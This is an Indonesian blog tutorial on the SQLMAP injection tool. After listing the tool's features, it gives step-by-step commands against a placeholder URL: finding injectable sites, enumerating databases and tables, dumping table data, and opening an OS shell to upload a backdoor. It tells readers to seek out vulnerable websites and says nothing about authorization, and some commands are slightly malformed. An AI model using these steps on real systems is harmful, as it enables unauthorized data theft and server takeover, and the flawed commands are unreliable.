Jika teman-teman mengenal tentang SQL Injection, pastinya kalian juga mengetahui tentang tools berikut ini. Yap, tools tersebut adalah SQLMAP. Tools ini merupakan tools open source yang dapat membantu para pentester untuk mencoba menemukan celah kerentanan terhadap SQL Injection. Oke, sebelumnya untuk mengoperasikan tools SQLMAP ini kita perlu mendownloadnya terlebih dahulu. Kemudian, kita perlu mengkonfigurasikannya di sistem kita dan baru mempelajari command-shellnya. So, mari kita mulai.
Mengenal SQLMAP
SQLMAP adalah alat pengujian penetrasi open-source yang mengotomatiskan proses mendeteksi dan mengeksploitasi kelemahan injeksi SQL dan mengambil alih server database. Muncul dengan mesin deteksi yang kuat, banyak fitur khusus untuk penguji penetrasi utama dan berbagai sakelar yang bertahan dari sidik jari basis data, pengambilan data dari basis data, hingga mengakses sistem file yang mendasarinya dan menjalankan perintah pada sistem operasi melalui koneksi out-of-band.
Fitur-Fitur dari SQLMAP (SQLMAP.ORG)
- Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, Raima Database Manager, YugabyteDB and Virtuoso database management systems.
- Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band.
- Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.
- Support to enumerate users, password hashes, privileges, roles, databases, tables and columns, dan masih banyak lagi.
Command-Shell SQLMAP
Disini saya akan mengasumsikan teman-teman telah menginstall dan mengkonfigurasikan SQLMAP di sistemnya. Jika belum, cukup masuk ke Github SQLMAP dan ikuti instruksinya. Jika sudah, lanjut ke step berikutnya!
1. Mengetahui Opsi-Opsi SQLMAP
Untuk menampilkan flag command yang tersedia di SQLMAP, gunakan command :
python sqlmap.py -h
2. Mencari Website Yang Vulnerable
Sebelum melakukan pentesting dengan SQLMAP, kita perlu mencari situs web yang sekiranya vulnerable terhadap SQL Injection. Ciri-ciri website yang memiliki kerentanan terhadap SQL Injection salah satunya yang memiliki URL seperti ini :
http://vulnerableweb.com/list.php?id=1
3. Mulai Pentesting
Setelah mendapatkan URL yang vulnerable, saatnya kita mulai menguji penetration terhadap web tersebut. Masukkan command berikut :
python sqlmap.py -u vulnerableweb.com/list.php?id=1
4. Checking Database
Apabila SQLMAP telah mengkonfirmasi bahwa web tersebut vulnerable terhadap SQL Injection kita dapat meningkatkan serangan dengan mencoba mendapatkan list database dari DBMS web server tersebut. Gunakan command berikut :
python sqlmap.py -u vulnerableweb.com/list.php?id=1 --dbs
5. Checking Tables
Setelah mendapatkan hasil list database, kita dapat melihat tabel-tabel yang ada disuatu database dengan command berikut (databasename diisi dengan nama database yang dituju) :
python sqlmap.py -u vulnerableweb.com/list.php?id=1 -D databasename --tables
6. Checking Data
Jika kita ingin membuka isi data dari tabel yang telah ditemukan, gunakan command berikut :
python sqlmap.py -u vulnerableweb.com/list.php?id=1 -D databasename -T tablename -dump
7. Uploading Command-Backdoor
Kalau kalian ingin meningkatkan payload serangan agar dapat mengakses isi server web dengan menggunakan command-backdoor, gunakan command ini :
python sqlmap.py -u vulnerableweb.com/list.php?id=1 -D --os-shell
Kemudian, upload command-backdoor milik kalian! Lalu, cara mengaksesnya adalah melalui URL web target.


Comments
Post a Comment